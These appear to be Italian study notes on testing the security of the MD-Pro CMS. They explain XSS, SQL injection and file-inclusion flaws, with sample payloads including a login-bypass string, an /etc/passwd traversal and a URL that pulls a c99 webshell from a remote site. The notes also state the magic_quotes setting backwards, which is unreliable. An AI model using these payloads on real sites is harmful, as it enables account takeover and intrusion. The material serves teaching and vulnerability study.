|
Appunti informatica |
|
Visite: 2280 | Gradito: | [ Medio appunti ] |
Leggi anche appunti:Il semaforo privatoIL SEMAFORO PRIVATO In tutti gli esempi visti fin qui, la procedura di rilascio si La velocità: una misura difficileLa velocità: una misura difficile Cosa vuoi dire che un processare è migliore Archivi e fileARCHIVI E FILE ARCHIVI DI DATI Per poter gestire grandi volumi di dati è necessario |
Cos'è un Content Management System
CMS è l'acronimo di "Content Management System" , letteralmente "sistema di gestione dei contenuti". È una categoria di software sviluppati per organizzare e facilitare la creazione di documenti e altri contenuti. Questa categoria di software è largamente utilizzata per la gestione dei siti web.
Il primo CMS nacque nel 1995 sotto il nome di "Vignette" dalla società CNET. La compagnia cominciò a mettere a disposizione il software come un web-based content management system, permettendo ai siti di creare interfacce di presentazione di propri contenuti web su di un software precedentemente sviluppato.
Generalità ed aspetti pratici di un CMS:
Una della applicazioni più utili dei sistemi di CMS si ha nella gestione dei portali, dove vengono impiegati i CMS come strumenti di pubblicazione di testi, news, articoli, immagini, liste di discussione, forum, materiale scaricabile ecc.
I CMS consentono di definire utenti, gruppi e diritti, in modo da poter permettere una distribuzione del lavoro tra più persone. Per esempio sarà possibile definire una classe di utenti abilitati esclusivamente all'inserimento delle news, mentre si potrà riservare la scrittura di articoli ad un altro gruppo e limitare tutti gli altri alla sola lettura.
Tecnicamente il CMS è un'applicazione lato server, divisa in due parti: il back end, ovvero la sezione di amministrazione che si occupa di organizzare e supervisionare la produzione del contenuto, e il front end, cioè la sezione dell'applicazione che l'utente usa per realizzare fisicamente modifiche, aggiornamenti ed inserimenti.
Un CMS permette di costruire e aggiornare un sito dinamico, anche molto grande, senza necessità di scrivere una riga di HTML e senza conoscere linguaggi di programmazione lato server (come il PHP) o progettare un apposito database. L'aspetto può essere personalizzato scegliendo un foglio di stile CSS appositamente progettato per un determinato CMS.
Esistono CMS specializzati, cioè appositamente progettati per un tipo preciso di contenuti e CMS generici, che tendono ad essere più flessibili per consentire la pubblicazione di diversi tipi di contenuti.
Molti piccoli portali fanno ricorso a CMS distribuiti (scritti da altri e messi a disposizione gratuitamente o a pagamento), ma presentano un aspetto poco personalizzabile se non è possibile intervenire direttamente sul codice sorgente del prodotto per modificarlo.
I portali di una certa importanza non fanno mai ricorso a CMS distribuiti, bensì usano programmi e database progettati su misura, ovvero CMS personalizzati; in questo modo la struttura e la presentazione vengono realizzate tenendo presenti i contenuti che il sito dovrà ospitare e potranno essere modificati in seguito a nuove esigenze.
CMS MaxDev MD-Pro:
Il Sistema di Gestione dei Contenuti (CMS personalizzato) Md-Pro è un progetto di collaborazione fra sviluppatori, grafici, piccoli imprenditori, avvocati, traduttori, insegnanti, scrittori, artisti e molte altre figure professionali.
Md-Pro fornisce un CMS Open Source "certificato" . E' caratterizzato dalla presenza di una piattaforma base, alla quale poi aggiunge moduli addizionali.
È un software che può lavorare su piattaforme differenti quali UNIX, Linux e Windows. I requisiti affinché Md-Pro possa funzionare sono:
Web server (Apache, IIS, etc.)
MySQL >=3.23 oppure Oracle >= 8.1
PHP >= 4.1.0
Minimo 25MB di spazio su hard disk
Md-Pro inoltre offre una rete di supporto internazionale in varie lingue.
Fra i molti "blocchi" che si possono aggiungere a Md-Pro ne citiamo alcuni:
Autotheme (Per importare temi da altri CMS come PostNuke o PHPNuke per Md-Pro)
Download (Permette agli utenti di scaricare dei file direttamente dal sito)
Outbox (Blocco che permette di inviare/ricevere messaggi privati da altri utenti)
Sondaggi (Gestione dei sondaggi per capire meglio il target di un utenza.
Ecc.
Gli sviluppatori del CMS consigliano a tutti gli utenti di fare il backup dei propri database sql ogni mese per evitare perdite di dati sensibili.
Per testare la sicurezza di questo CMS è stato utilizzato un server web locale con queste caratteristiche:
Apache (WIN32) 2.2.4
PHP 5.2.2
MySQL 5.0.37
È possibile far diventare qualunque macchina un server web (in locale e non).
Esistono programmi che, già pre configurati, installano tutti i pacchetti necessari affinché la macchina si trasformi in un server web.
Tra i più famosi possiamo trovare EasyPHP (2.0):
Apache 2.2.3
PHP 5.2.0
MySQL 5.0.27
PHPMyAdmin 2.9.1.1
SQLiteManager 1.2.0
Oppure Wamp5 (1.7.1):
Apache 2.2.4
PHP 5.2.2
MySQL 5.0.37
PHPMyAdmin 2.8.1
Le differenze fra i due programmi sono quasi nulle. Ma purtroppo hanno dei limiti:
Sono pre configurati per un uso esclusivamente in locale.
Il MySQL non è protetto da password
A parere del sottoscritto è preferibile installare tutti i pacchetti manualmente per poi configurarli con le password e con i permessi personalizzati.
Apache (https://httpd.apache.org/download.cgi)
MySQL (https://dev.mysql.com/download/5.1.html)
PHP (https://www.php.net/downloads.php)
PhpMyAdmin (https://www.phpmyadmin.net)
SQLiteManager (https://www.sqlabs.net/download.php)
Una volta installato e avviato il server locale andremo sul browser e digiteremo « localhost » opure « 127.0.0.1 » e apparirà la pagina index.html della cartelle di Apache « htdocs ». Basterà incollare i file di MdPro e saremo pronti per la configurazione del CMS.
XSS (Cross Site Scripting)
Il Cross-site scripting o XSS è un tipo di vulnerabilità che si può facilmente trovare in applicazioni web che permettono l'iniezione di codice (HTML e/o Javascript).
Le origini di questo metodo di attacco risalgono alla nascita dello Javascript (linguaggio di programmazione per ambienti internet introdotto dalla Netscape). Qualche anno più tardi i maggiori browser (Opera e Internet Explorer) adottarono misure di sicurezza che però tutt'oggi non sono ancora sufficienti per una protezione totale da questo tipo di attacco.
Inizialmente venne battezzato CSS (appunto Cross Site Scripting), ma questa sigla si poteva confondere con altri termini come Cascading Style Sheet oppure Content-Scrambling System, così venne rinominato in XSS.
La "pericolosità" di questo tipo di metodo di attacco sta nel fatto che è possibile eseguire comandi Javascript. Nelle peggiore delle ipotesi l'hacker riesce a rubare i cookies delle persone che visitano la pagina vulnerabile.
Esistono principalmente due livelli di "pericolosità" di un XSS:
Primo livello (non persistente):
Questo primo livello, più diffuso, è di tipo "non persistente" ciò vuol dire che per sfruttarlo c'è bisogno di andare sulla pagina vulnerabile con il codice Javascript scritto nell'URL. Per non destare sospetti sono state poi introdotte tecniche di camuffamento quali l'escape:
In chiaro: https://vitcim.com/index.php?nome=<script>alert('Ciao');</script>
Camuffato: https://victim.com/index.php%3F%6E%6F%6D%65%3D%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28% %43%69%61%6F% %29%3B%3C%2F%73%63%72%69%70%74%3E
Secondo livello (persistente):
Il secondo livello è soprattutto diffuso nei forum, nei guestbook e nella chat. A differenza del precedente possiamo iniettare direttamente, quindi in modo persistente, Javascript nella pagine vulnerabile. Chiunque si troverà a leggere un messaggio, sarà anch'esso vittima del codice Javascript.
Applicazione della vulnerabilità su MdPro
Versione vulnerabile: MdPro <= 1.076 (20/02/2007)
Pagina vulnerabile: user.php
Codice sorgente vulnerabile: Possibile fix al codice sorgente:
https://localhost/md107/user.php?module=NS-LostPassword&op=<h1>Prova iniezione codice HTML</h1>
PRIMA:
Fig.1
DOPO:
Fig.2
Note:
Questa vulnerabilità è un Cross Site Scripting di primo livello che ci consente di "sniffare" l'MDPROSID (il Sessioni Id) dell'utente amministratore in modo da poterlo inserire nel nostro browser. A quel punto, quando il sistema riconoscerà il Session Id, ci farà entrare con i privilegi dell'amministratore senza chiederci alcuna credenziale d'accesso.
Sql Injection
La SQL Injection è una tecnica dell'hacking mirata a colpire le applicazioni web che si appoggiano su un database di tipo SQL. Questa vulnerabilità sfrutta l'inefficienza dei controlli sui dati ricevuti in input ed inserisce codice maligno all'interno di una query SQL. Le conseguenze prodotte sono imprevedibili per il programmatore. L'SQL Injection permette al malintenzionato di autentificarsi con ampi privilegi in aree protette dal sito (ovviamente, anche senza essere in possesso delle credenziali d'accesso) e di visualizzare e/o alterare dati sensibili.
Ricreiamo un esempio pratico di SQL Injection:
login.php
Il form è molto semplice: ha solo due campi, uno per l'username e uno per la password. I dati immessi verranno passati al codice php nelle variabili rispettive $_POST['user'] e $_POST['pwd'].
Una volta ricevuti i parametri, il php effettua una query sul database e se verranno trovati dei dati procederà con l'autenticazione utente.
Fig. 3
Fin quando ci si limita a inserire quei dati per cui l'applicazione è stata originariamente pensata, non si avranno problemi. Tuttavia questo script non esegue alcun controllo sui dati ricevuti ma, anzi, li immette direttamente nella query. Questa possibilità permette a qualsiasi hacker di inserire dei dati che vanno ad alterare il funzionamento previsto della query.
Se ad esempio passassimo come username il nome dell'amministratore del servizio (utilizzeremo il nome root) e come password 123' OR '1'='1 la query diventerebbe:
SELECT * FROM users WHERE user='root' AND pwd='123' OR '1'='1'
Cioè è sempre vera, perchè è necessario o che la password sia uguale a 123 oppure che 1 sia uguale a 1 (ovvero sempre!). In questo modo la query restituisce una riga e l'hacker viene autenticato come l'amministratore del servizio.
Fig. 4
Applicazione della vulnerabilità su MdPro
Versione vulnerabile: MdPro <= 1.081 (non ancora fixato)
Pagina vulnerabile: modules/News/funcs.php
Codice sorgente vulnerabile: Possibile fix al codice sorgente:
https://localhost/md107/index.php?module=News&startrow='
PRIMA:
Fig. 5
DOPO:
Fig. 6
Note:
Questa vulnerabilità non è affatto grave e non è sfruttabile in quanto il programmatore, prima di mandare in output i risultati, controlla ciò che l'utente manda in query. Però mostra alcune informazioni che dovrebbero rimanere riservate, quali il numero dell'errore e ciò che causa l'errore. In questo modo l'SQL Injection si può benissimo trasformare in Cross Site Scripting. Altre tecniche di protezione dall'SQL Injection sono anche i settagli che si danno al php.ini. Infatti nelle recenti versioni del PHP è stata inserita la variabile booleana "magic_quotes". Questa variabile serve per gestire proprio queste situazioni. Infatti, se settata su false (corrispondente ad Off), il carattere speciali come l'apostrofo (') viene trasformato in (') prima che entri in query, salvando così l'integrità della query originale da mutamenti esterni.
Remote/Local file inclusion
Il Remote/Local file inclusion (dall'inglese inclusione di file in remoto o locale) è una vulnerabilità che risiede ormai comunemente in molti CMS/webapps, ma è altrettanto prontamente fixata.
La differenza fra le due vulnerabilità è questa:
Nel Local file inclusion è possibile leggere qualsiasi file all'interno del webserver come se fosse un file TXT. In molti CMS/webapps i dati sensibili si possono trovare nel file config.php altrimenti il target degli hackers è il file di password di linux: etc/shadow (visibile solo da root) oppure etc/passwd.
Nel Remote file inclusion è possibile richiamare una pagina remota e farla eseguire come se si trovasse all'interno di quel webserver. Su internet sono facilmente reperibili le webshells che permettono di controllare il computer che ha questa vulnerabilità. Tra le più famose cito c99 e r57.
Di seguito è riportato un esempio di codice PHP vulnerabile:
index.php
Il link iniziale serve solamente a far capire che esiste un parametro page all'interno della pagina index.php. L'input $page non è del tutto sicuro perché passa direttamente il parametro alla funzione include del PHP.
Con la funzione include, quando un file viene incluso, il codice che esso contiene eredita lo scope delle variabili della riga in cui si verifica l'inclusione. Qualsiasi variabile disponibile in quella riga nella chiamata al file sarà disponibile all'interno del file chiamato, da quel punto in avanti. Tuttavia tutte le funzioni a le classi definite all'interno di un file di include hanno visibilità globale.
Quando si richiama una pagina esterna al webserver con estensione TXT è necessario aggiungere "?" alla fine dell'estensione per far capire al webserver che, pur essendo un testo, deve trattarlo come pagina PHP, e quindi eseguire i comandi che si trovano all'interno.
Local File Inclusion:
https://localhost/inclusione.php?page=../../../../etc/passwd
Fig. 7
Remote File Inclusion:
https://localhost/inclusione.php?page=https://[sito remoto]/c99.txt?
Fig. 8
Applicazione della vulnerabilità su MdPro
Versione vulnerabile: MdPro <= 1.076 (20/02/2007)
Pagina vulnerabile: config/dl-config.php
Codice sorgente vulnerabile: Possibile fix al codice sorgente:
Note:
Questa vulnerabilità si basava sull'upload di file con estensione .inc (script PHP) che, con il codice sorgente adeguato, permettevano un Local/Remote file inclusion o peggio ancora un'esecuzione di comandi da remoto.
Versione vulnerabile: MdPro <= 1.072 (12/09/2006)
Pagina vulnerabile: modules/xmlrpc/pnuserapi.php
Exploit utilizzato: https://downloads.securityfocus.com/vulnerabilities/exploits/xml_rpc_poc.pl
//build the XML-RPC
call and execute it $f =
new xmlrpcmsg($methodname, array(new xmlrpcval($url)); $r $c->send($f)
Codice sorgente vulnerabile:
Possibile fix al codice sorgente:
PRIMA:
Fig. 9
DOPO:
Fig. 10
Note:
XML-RPC è un protocollo che permette di eseguire delle chiamate a procedure remote (RPC) attraverso la rete Internet. Questo protocollo utilizza lo standard XML per codificare la richiesta che viene trasportata mediante il protocollo HTTP. La vulnerabilità si basava sull'intestazione <name></name> che se iniettato un codice PHP viene eseguito e mostrato.
Conclusioni:
Ogni buon CMS presenta una lunga lista di changelog, questo è segno che la release è seguita e ogni nuova versione è sempre più bella, più sicura dell'altra.
MaxDev Md-Pro è un CMS come tanti altri con le sue (ancora) pecche ma anche con tanti pregi.
La ricerca delle vulnerabilità conosciute è stata effettuata tramite il sito: https://www.securityfocus.com
Le altre vulnerabilità (come ad esempio il Cross Site Scripting) sono state riscontrate con l'uso di programmi open source. In seguito, tramite l'analisi dei codici sorgenti, è stato possibile fornire una fix non ufficiale, ma comunque efficiente. Se si decide di usare un CMS open source si deve anche tener conto che i codici sorgenti sono visibili a chiunque e questa non è una buona soluzione se si vogliono tenere su un sito web informazioni confidenziali o riservate. Fondamentale è anche la formazione dell'amministratore del portale che deve sempre e comunque tener conto di alcune piccole regole:
Tenere sempre aggiornato il proprio CMS all'ultima versione disponibile;
Usare un antivirus aggiornato;
Non cadere nei vari trucchi via e-mail che richiedono user/password o di cliccare su un link interno o esterno al proprio portale;
Ogni volta che si esce dal proprio portale è buona abitudine fare il Logout;
Fare il backup del database ogni mese. Se molto frequentato anche ogni settimana;
Milw0rm = https://www.milw0rm.com
MaxDev = https://www.maxdev.com
Security Focus= https://www.securityfocus.com
Secunia = https://secunia.com
Fig. 1 = https://i12.tinypic.com/61njdoi.png
Fig. 2 = https://i19.tinypic.com/6421ev8.png
Fig. 3 = https://i14.tinypic.com/4u0ja6x.png
Fig. 4 = https://i8.tinypic.com/4usweg3.png
Fig. 5 = https://i10.tinypic.com/675itch.png
Fig. 6 = https://i8.tinypic.com/62xcq6v.png
Fig. 7 = https://i8.tinypic.com/4yrfpt2.png
Fig. 8 = https://i14.tinypic.com/4ysq3ro.png
Fig. 9 = https://i8.tinypic.com/5zpugs4.png
Fig. 10 = https://i17.tinypic.com/5ymdb2o.png
Appunti su: |
|